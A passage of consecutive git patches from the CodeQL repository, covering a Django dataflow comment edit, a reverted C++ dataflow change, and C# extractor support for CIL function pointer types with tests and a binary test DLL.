= (tmp ||= {}); + obj.p = 42; } \ No newline at end of file From 9a397b6faf931455d949c968e2dd8fecfe0a2ab2 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Wed, 20 Jan 2021 15:28:20 +0100 Subject: [PATCH 0728/1241] Python: Apply code-review suggestion Co-authored-by: yoff <lerchedahl@gmail.com> --- python/ql/src/semmle/python/frameworks/Django.qll | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index b7f2a0e12af..6eeae4b742e 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -1881,8 +1881,9 @@ private module Django { // Since we're still installing dependencies and analyzing their source code, // without explicitly filtering out this call, we would be double-counting such // route-setups :( One practical negative side effect of double-counting it, is - // that since we can't figure out the URL, we mark ANY parameter as being a - // routed-parameter, which can lead to FPs. + // that since we can't figure out the URL in the library code calling `django.urls.re_path` + // (because we only consider local flow), we will for all those cases mark ANY parameter + // as being a routed-parameter, which can lead to FPs. not exists(Module mod | mod.getName() = "django.conf.urls.__init__" and node.getEnclosingModule() = mod From f12ebe88e6635aa8be81057211b3a2e9a2f5f6f0 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Wed, 20 Jan 2021 15:43:24 +0100 Subject: [PATCH 0729/1241] Revert "C++: Replace SkippableInstruction with local flow steps." This reverts commit 258d04178f90b48153c1119aa55a86544cbea54c. This change caused a ~20% performance regression. --- .../ir/dataflow/internal/DataFlowPrivate.qll | 18 ++++ .../cpp/ir/dataflow/internal/DataFlowUtil.qll | 99 +++++++++---------- 2 files changed, 66 insertions(+), 51 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index a5a30dc756e..d9f23d00c8d 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -346,6 +346,24 @@ private class ArrayToPointerConvertInstruction extends ConvertInstruction { } } +/** + * These two predicates look like copy-paste from the two predicates with the same name in DataFlowUtil, + * but crucially they only skip past `CopyValueInstruction`s. This is because we use a special case of + * a `ConvertInstruction` to detect some read steps from arrays that undergoes array-to-pointer + * conversion. + */ +private Instruction skipOneCopyValueInstructionRec(CopyValueInstruction copy) { + copy.getUnary() = result and not result instanceof CopyValueInstruction + or + result = skipOneCopyValueInstructionRec(copy.getUnary()) +} + +private Instruction skipCopyValueInstructions(Operand op) { + not result instanceof CopyValueInstruction and result = op.getDef() + or + result = skipOneCopyValueInstructionRec(op.getDef()) +} + private class InexactLoadOperand extends LoadOperand { InexactLoadOperand() { this.isDefinitionInexact() } } diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll index 016bf565021..f7eaaf7f2e1 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -185,15 +185,54 @@ class OperandNode extends Node, TOperandNode { override string toString() { result = this.getOperand().toString() } } +/** An abstract class that defines conversion-like instructions. */ +abstract private class SkippableInstruction extends Instruction { + abstract Instruction getSourceInstruction(); +} + +/** + * Gets the instruction that is propaged through a non-empty sequence of conversion-like instructions. + */ +private Instruction skipSkippableInstructionsRec(SkippableInstruction skip) { + result = skip.getSourceInstruction() and not result instanceof SkippableInstruction + or + result = skipSkippableInstructionsRec(skip.getSourceInstruction()) +} + +/** + * Gets the instruction that is propagated through a (possibly empty) sequence of conversion-like + * instructions. + */ +private Instruction skipSkippableInstructions(Instruction instr) { + result = instr and not result instanceof SkippableInstruction + or + result = skipSkippableInstructionsRec(instr) +} + +private class SkippableCopyValueInstruction extends SkippableInstruction, CopyValueInstruction { + override Instruction getSourceInstruction() { result = this.getSourceValue() } +} + +private class SkippableConvertInstruction extends SkippableInstruction, ConvertInstruction { + override Instruction getSourceInstruction() { result = this.getUnary() } +} + +private class SkippableCheckedConvertInstruction extends SkippableInstruction, + CheckedConvertOrNullInstruction { + override Instruction getSourceInstruction() { result = this.getUnary() } +} + +private class SkippableInheritanceConversionInstruction extends SkippableInstruction, + InheritanceConversionInstruction { + override Instruction getSourceInstruction() { result = this.getUnary() } +} + /** * INTERNAL: do not use. Gets the `FieldNode` corresponding to `instr`, if * `instr` is an instruction that propagates an address of a `FieldAddressInstruction`. */ FieldNode getFieldNodeForFieldInstruction(Instruction instr) { - result.getFieldInstruction() = - any(FieldAddressInstruction fai | - longestRegisterInstructionOperandLocalFlowStep(instructionNode(fai), instructionNode(instr)) - ) + result.getFieldInstruction() = skipSkippableInstructions(instr) } /** @@ -584,11 +623,6 @@ class VariableNode extends Node, TVariableNode { */ InstructionNode instructionNode(Instruction instr) { result.getInstruction() = instr } -/** - * Gets the node corresponding to `operand`. - */ -OperandNode operandNode(Operand operand) { result.getOperand() = operand } - /** * DEPRECATED: use `definitionByReferenceNodeFromArgument` instead. * @@ -706,47 +740,6 @@ private predicate flowIntoReadNode(Node nodeFrom, FieldNode nodeTo) { ) } -/** Holds if `node` holds an `Instruction` or `Operand` that has a register result. */ -private predicate hasRegisterResult(Node node) { - node.asOperand() instanceof RegisterOperand - or - exists(Instruction i | i = node.asInstruction() and not i.hasMemoryResult()) -} - -/** - * Holds if there is a `Instruction` or `Operand` flow step from `nodeFrom` to `nodeTo` and both - * `nodeFrom` and `nodeTo` wraps register results. - */ -private predicate registerInstructionOperandLocalFlowStep(Node nodeFrom, Node nodeTo) { - hasRegisterResult(nodeFrom) and - hasRegisterResult(nodeTo) and - instructionOperandLocalFlowStep(nodeFrom, nodeTo) -} - -/** - * INTERNAL: do not use. - * Holds if `nodeFrom` has no incoming local `Operand` or `Instruction` register flow and `nodeFrom` can - * reach `nodeTo` using only local `Instruction` or `Operand` register flow steps. - */ -bindingset[nodeTo] -private predicate longestRegisterInstructionOperandLocalFlowStep(Node nodeFrom, Node nodeTo) { - registerInstructionOperandLocalFlowStep*(nodeFrom, nodeTo) and - not registerInstructionOperandLocalFlowStep(_, nodeFrom) -} - -/** - * INTERNAL: do not use. - * Holds if `nodeFrom` is an operand and `nodeTo` is an instruction node that uses this operand, or - * if `nodeFrom` is an instruction and `nodeTo` is an operand that refers to this instruction. - */ -private predicate instructionOperandLocalFlowStep(Node nodeFrom, Node nodeTo) { - // Operand -> Instruction flow - simpleInstructionLocalFlowStep(nodeFrom.asOperand(), nodeTo.asInstruction()) - or - // Instruction -> Operand flow - simpleOperandLocalFlowStep(nodeFrom.asInstruction(), nodeTo.asOperand()) -} - /** * INTERNAL: do not use. * @@ -755,7 +748,11 @@ private predicate instructionOperandLocalFlowStep(Node nodeFrom, Node nodeTo) { */ cached predicate simpleLocalFlowStep(Node nodeFrom, Node nodeTo) { - instructionOperandLocalFlowStep(nodeFrom, nodeTo) + // Operand -> Instruction flow + simpleInstructionLocalFlowStep(nodeFrom.asOperand(), nodeTo.asInstruction()) + or + // Instruction -> Operand flow + simpleOperandLocalFlowStep(nodeFrom.asInstruction(), nodeTo.asOperand()) or flowIntoReadNode(nodeFrom, nodeTo) or From 0c213d0926a680c20ac420bb3dd0a8ff0bd2d69f Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 16 Dec 2020 14:12:25 +0100 Subject: [PATCH 0730/1241] C#: Extract function pointer types from CIL --- .../Entities/CilTypeKind.cs | 3 +- .../Entities/FunctionPointerType.cs | 116 ++++++++++++++++++ .../Entities/IParameterizable.cs | 7 ++ .../Semmle.Extraction.CIL/Entities/Method.cs | 2 +- .../Entities/ModifiedType.cs | 9 +- .../Entities/Parameter.cs | 4 +- .../Entities/SignatureDecoder.cs | 14 ++- .../Entities/TypeSignatureDecoder.cs | 2 +- .../extractor/Semmle.Extraction.CIL/Tuples.cs | 8 +- csharp/ql/src/semmlecode.csharp.dbscheme | 16 ++- .../cil/functionPointers/Class1.cs_ | 52 ++++++++ .../cil/functionPointers/Test.cs | 7 ++ .../cil/functionPointers/fnptr.dll | Bin 0 -> 5632 bytes 13 files changed, 228 insertions(+), 12 deletions(-) create mode 100644 csharp/extractor/Semmle.Extraction.CIL/Entities/FunctionPointerType.cs create mode 100644 csharp/extractor/Semmle.Extraction.CIL/Entities/IParameterizable.cs create mode 100644 csharp/ql/test/library-tests/cil/functionPointers/Class1.cs_ create mode 100644 csharp/ql/test/library-tests/cil/functionPointers/Test.cs create mode 100644 csharp/ql/test/library-tests/cil/functionPointers/fnptr.dll diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/CilTypeKind.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/CilTypeKind.cs index f5ccf5057f7..e95fe0e28c0 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/CilTypeKind.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/CilTypeKind.cs @@ -8,6 +8,7 @@ namespace Semmle.Extraction.CIL.Entities ValueOrRefType, TypeParameter, Array, - Pointer + Pointer, + FunctionPointer } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/FunctionPointerType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/FunctionPointerType.cs new file mode 100644 index 00000000000..8609e858ed4 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/FunctionPointerType.cs @@ -0,0 +1,116 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Reflection.Metadata; + +namespace Semmle.Extraction.CIL.Entities +{ + internal sealed class FunctionPointerType : Type, IParameterizable, ICustomModifierReceiver + { + private readonly MethodSignature<Type> signature; + + public FunctionPointerType(Context cx, MethodSignature<Type> signature) : base(cx) + { + this.signature = signature; + } + + public override CilTypeKind Kind => CilTypeKind.FunctionPointer; + + public override string Name + { + get + { + using var id = new StringWriter(); + WriteName( + id.Write, + t => id.Write(t.Name), + signature + ); + return id.ToString(); + } + } + + public override Namespace? ContainingNamespace => Cx.GlobalNamespace; + + public override Type? ContainingType => null; + + public override int ThisTypeParameterCount => throw new System.NotImplementedException(); + + public override IEnumerable<Type> TypeParameters => throw new System.NotImplementedException(); + + public override Type Construct(IEnumerable<Type> typeArguments) => throw new System.NotImplementedException(); + + public override void WriteAssemblyPrefix(TextWriter trapFile) { } + + public override void WriteId(TextWriter trapFile, bool inContext) + { + WriteName( + trapFile.Write, + t => t.WriteId(trapFile, inContext), + signature + ); + } + + internal static void WriteName<TType>(Action<string> write, Action<TType> writeType, MethodSignature<TType> signature) + { + write("delegate* "); + write(GetCallingConvention(signature.Header.CallingConvention)); + write("<"); + foreach (var pt in signature.ParameterTypes) + { + writeType(pt); + write(","); + } + writeType(signature.ReturnType); + write(">"); + } + + internal static string GetCallingConvention(SignatureCallingConvention callingConvention) + { + if (callingConvention == SignatureCallingConvention.Default) + { + return "managed"; + } + + if (callingConvention == SignatureCallingConvention.Unmanaged) + { + return "unmanaged"; + } + + return $"unmanaged[{callingConvention}]"; + } + + public override IEnumerable<IExtractionProduct> Contents + { + get + { + foreach (var c in base.Contents) + { + yield return c; + } + + var retType = signature.ReturnType; + if (retType is ModifiedType mt) + { + retType = mt.Unmodified; + yield return Tuples.cil_custom_modifiers(this, mt.Modifier, mt.IsRequired); + } + yield return Tuples.cil_function_pointer_return_type(this, retType); + + yield return Tuples.cil_function_pointer_calling_conventions(this, signature.Header.CallingConvention); + + var i = 0; + foreach (var p in signature.ParameterTypes) + { + var t = p; + if (t is ModifiedType mtparam) + { + t = mtparam.Unmodified; + yield return Tuples.cil_custom_modifiers(this, mtparam.Modifier, mtparam.IsRequired); + } + yield return Cx.Populate(new Parameter(Cx, this, i++, t)); + } + } + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/IParameterizable.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/IParameterizable.cs new file mode 100644 index 00000000000..ad9347848e4 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/IParameterizable.cs @@ -0,0 +1,7 @@ +namespace Semmle.Extraction.CIL.Entities +{ + internal interface IParameterizable : IEntity + { + + } +} diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs index 119dc2fd287..d4da3e16463 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs @@ -9,7 +9,7 @@ namespace Semmle.Extraction.CIL.Entities /// <summary> /// A method entity. /// </summary> - internal abstract class Method : TypeContainer, IMember, ICustomModifierReceiver + internal abstract class Method : TypeContainer, IMember, ICustomModifierReceiver, IParameterizable { protected MethodTypeParameter[]? genericParams; protected GenericContext gc; diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/ModifiedType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/ModifiedType.cs index c794ed812a5..f160c6869de 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/ModifiedType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/ModifiedType.cs @@ -37,6 +37,13 @@ namespace Semmle.Extraction.CIL.Entities public override void WriteAssemblyPrefix(TextWriter trapFile) => throw new NotImplementedException(); - public override void WriteId(TextWriter trapFile, bool inContext) => throw new NotImplementedException(); + public override void WriteId(TextWriter trapFile, bool inContext) + { + Unmodified.WriteId(trapFile, inContext); + trapFile.Write(IsRequired ? " modreq" : " modopt"); + trapFile.Write("("); + Modifier.WriteId(trapFile, inContext); + trapFile.Write(")"); + } } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Parameter.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Parameter.cs index dea5f2db30b..90452fe9265 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Parameter.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Parameter.cs @@ -8,11 +8,11 @@ namespace Semmle.Extraction.CIL.Entities /// </summary> internal sealed class Parameter : LabelledEntity { - private readonly Method method; + private readonly IParameterizable method; private readonly int index; private readonly Type type; - public Parameter(Context cx, Method m, int i, Type t) : base(cx) + public Parameter(Context cx, IParameterizable m, int i, Type t) : base(cx) { method = m; index = i; diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs index 15920051143..d5b3ca176ec 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs @@ -48,10 +48,20 @@ namespace Semmle.Extraction.CIL.Entities private struct FnPtr : ITypeSignature { + private readonly MethodSignature<ITypeSignature> signature; + + public FnPtr(MethodSignature<ITypeSignature> signature) + { + this.signature = signature; + } public void WriteId(TextWriter trapFile, GenericContext gc) { - trapFile.Write("<method signature>"); + FunctionPointerType.WriteName( + trapFile.Write, + t => t.WriteId(trapFile, gc), + signature + ); } } @@ -62,7 +72,7 @@ namespace Semmle.Extraction.CIL.Entities new ByRef(elementType); ITypeSignature ISignatureTypeProvider<ITypeSignature, object>.GetFunctionPointerType(MethodSignature<ITypeSignature> signature) => - new FnPtr(); + new FnPtr(signature); private class Instantiation : ITypeSignature { diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeSignatureDecoder.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeSignatureDecoder.cs index cf04f4fbdaf..45805fda115 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeSignatureDecoder.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeSignatureDecoder.cs @@ -23,7 +23,7 @@ namespace Semmle.Extraction.CIL.Entities elementType; // ?? Type ISignatureTypeProvider<Type, GenericContext>.GetFunctionPointerType(MethodSignature<Type> signature) => - cx.ErrorType; // Don't know what to do !! + cx.Populate(new FunctionPointerType(cx, signature)); Type IConstructedTypeProvider<Type>.GetGenericInstantiation(Type genericType, ImmutableArray<Type> typeArguments) => genericType.Construct(typeArguments); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs b/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs index 9568537f71f..cf625ccfc42 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs @@ -86,6 +86,12 @@ namespace Semmle.Extraction.CIL internal static Tuple cil_method(Method method, string name, Type declType, Type returnType) => new Tuple("cil_method", method, name, declType, returnType); + internal static Tuple cil_function_pointer_return_type(FunctionPointerType fnptr, Type returnType) => + new Tuple("cil_function_pointer_return_type", fnptr, returnType); + + internal static Tuple cil_function_pointer_calling_conventions(FunctionPointerType fnptr, System.Reflection.Metadata.SignatureCallingConvention callingConvention) => + new Tuple("cil_function_pointer_calling_conventions", fnptr, (int)callingConvention); + internal static Tuple cil_method_implementation(MethodImplementation impl, Method method, Assembly assembly) => new Tuple("cil_method_implementation", impl, method, assembly); @@ -101,7 +107,7 @@ namespace Semmle.Extraction.CIL internal static Tuple cil_newslot(Method method) => new Tuple("cil_newslot", method); - internal static Tuple cil_parameter(Parameter p, Method m, int i, Type t) => + internal static Tuple cil_parameter(Parameter p, IParameterizable m, int i, Type t) => new Tuple("cil_parameter", p, m, i, t); internal static Tuple cil_parameter_in(Parameter p) => diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index dd813977f70..e0e4ca2c62a 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -1695,6 +1695,7 @@ case @cil_type.kind of | 1 = @cil_typeparameter | 2 = @cil_array_type | 3 = @cil_pointer_type +| 4 = @cil_function_pointer_type ; cil_type( @@ -1713,6 +1714,10 @@ cil_array_type( int element_type: @cil_type ref, int rank: int ref); +cil_function_pointer_return_type( + unique int id: @cil_function_pointer_type ref, + int return_type: @cil_type ref); + cil_method( unique int id: @cil_method, string name: string ref, @@ -1746,12 +1751,13 @@ cil_field( @cil_variable = @cil_field | @cil_stack_variable; @cil_stack_variable = @cil_local_variable | @cil_parameter; @cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; -@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field; // todo: add function pointer type +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field | @cil_function_pointer_type; +@cil_parameterizable = @cil_method | @cil_function_pointer_type; -#keyset[method, index] +#keyset[parameterizable, index] cil_parameter( unique int id: @cil_parameter, - int method: @cil_method ref, + int parameterizable: @cil_parameterizable ref, int index: int ref, int param_type: @cil_type ref); @@ -1796,6 +1802,10 @@ cil_local_variable( int index: int ref, int var_type: @cil_type ref); +cil_function_pointer_calling_conventions( + int id: @cil_function_pointer_type ref, + int kind: int ref); + // CIL handlers (exception handlers etc). case @cil_handler.kind of diff --git a/csharp/ql/test/library-tests/cil/functionPointers/Class1.cs_ b/csharp/ql/test/library-tests/cil/functionPointers/Class1.cs_ new file mode 100644 index 00000000000..bd0ddc30906 --- /dev/null +++ b/csharp/ql/test/library-tests/cil/functionPointers/Class1.cs_ @@ -0,0 +1,52 @@ +using System; + +#nullable enable + +public class FnPointer +{ + public unsafe static class Program + { + static delegate*<int> pointer = &M0; + + public static int M0() + { + return 0; + } + + static void M1(delegate*<ref int, out object?, int> f) + { + int i = 42; + int j = f(ref i, out object? o); + } + + static void M2<T>(delegate* unmanaged[Stdcall/*, StdcallSuppressGCTransition*/]<ref int, out object?, T, void> f) where T : new() + { + int i = 42; + f(ref i, out object? o, new T()); + } + + static void M3(delegate* managed<ref int, out object?, in int, ref int> f) + { + int i = 42; + ref int j = ref f(ref i, out object? o, in i); + } + + static void M4<T>(delegate*<T, int> f) where T : new() + { + int j = f(new T()); + } + + static void M5(delegate*<B, A> f, delegate*<A, B> ff) + { + M5(ff, ff); // implicit conversion due to implicit reference conversion + } + + static void M6(delegate*<int*, void*> f, delegate*<void*, int*> ff) + { + M6(ff, ff); // implicit conversion due to implicit pointer conversion + } + + class A { } + class B : A { } + } +} \ No newline at end of file diff --git a/csharp/ql/test/library-tests/cil/functionPointers/Test.cs b/csharp/ql/test/library-tests/cil/functionPointers/Test.cs new file mode 100644 index 00000000000..c72cfe0b0b3 --- /dev/null +++ b/csharp/ql/test/library-tests/cil/functionPointers/Test.cs @@ -0,0 +1,7 @@ +// semmle-extractor-options: --cil + +using System; + +class Test +{ +} \ No newline at end of file diff --git a/csharp/ql/test/library-tests/cil/functionPointers/fnptr.dll b/csharp/ql/test/library-tests/cil/functionPointers/fnptr.dll new file mode 100644 index 0000000000000000000000000000000000000000..c63b9dcc254503c4d1686d1bb40d3a702bedd6b6 GIT binary patch literal 5632 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 literal 0 HcmV?d00001 From f986c1520035535ef1e097e7563b127c79f51761 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Thu, 17 Dec 2020 10:57:35 +0100 Subject: [PATCH 0731/1241] Add QL classes for CIL function pointers, and add test --- csharp/ql/src/semmle/code/cil/Access.qll | 2 +- csharp/ql/src/semmle/code/cil/CIL.qll | 1 + csharp/ql/src/semmle/code/cil/DataFlow.qll | 2 +- .../ql/src/semmle/code/cil/Instructions.qll | 24 ++++++++----- csharp/ql/src/semmle/code/cil/Method.qll | 6 ++-- .../src/semmle/code/cil/Parameterizable.qll | 15 ++++++++ csharp/ql/src/semmle/code/cil/Types.qll | 18 ++++++++++ csharp/ql/src/semmle/code/cil/Variable.qll | 35 +++++++++++++------ csharp/ql/src/semmle/code/csharp/Member.qll | 14 ++------ csharp/ql/src/semmle/code/csharp/Variable.qll | 4 +-- .../dataflow/internal/DataFlowPrivate.qll | 2 +- csharp/ql/src/semmle/code/dotnet/Callable.qll | 20 ++--------- .../semmle/code/dotnet/Parameterizable.qll | 30 ++++++++++++++++ csharp/ql/src/semmle/code/dotnet/Variable.qll | 11 +++--- csharp/ql/src/semmlecode.csharp.dbscheme | 1 + .../functionPointers.expected | 29 +++++++++++++++ .../cil/functionPointers/functionPointers.ql | 23 ++++++++++++ 17 files changed, 176 insertions(+), 61 deletions(-) create mode 100644 csharp/ql/src/semmle/code/cil/Parameterizable.qll create mode 100644 csharp/ql/src/semmle/code/dotnet/Parameterizable.qll create mode 100644 csharp/ql/test/library-tests/cil/functionPointers/functionPointers.expected create mode 100644 csharp/ql/test/library-tests/cil/functionPointers/functionPointers.ql diff --git a/csharp/ql/src/semmle/code/cil/Access.qll b/csharp/ql/src/semmle/code/cil/Access.qll index e42a883a2e5..6d72a48ff1b 100644 --- a/csharp/ql/src/semmle/code/cil/Access.qll +++ b/csharp/ql/src/semmle/code/cil/Access.qll @@ -37,7 +37,7 @@ class WriteAccess extends VariableAccess, @cil_write_access { /** An instruction that accesses a parameter. */ class ParameterAccess extends StackVariableAccess, @cil_arg_access { - override Parameter getTarget() { result = StackVariableAccess.super.getTarget() } + override MethodParameter getTarget() { result = StackVariableAccess.super.getTarget() } } /** An instruction that reads a parameter. */ diff --git 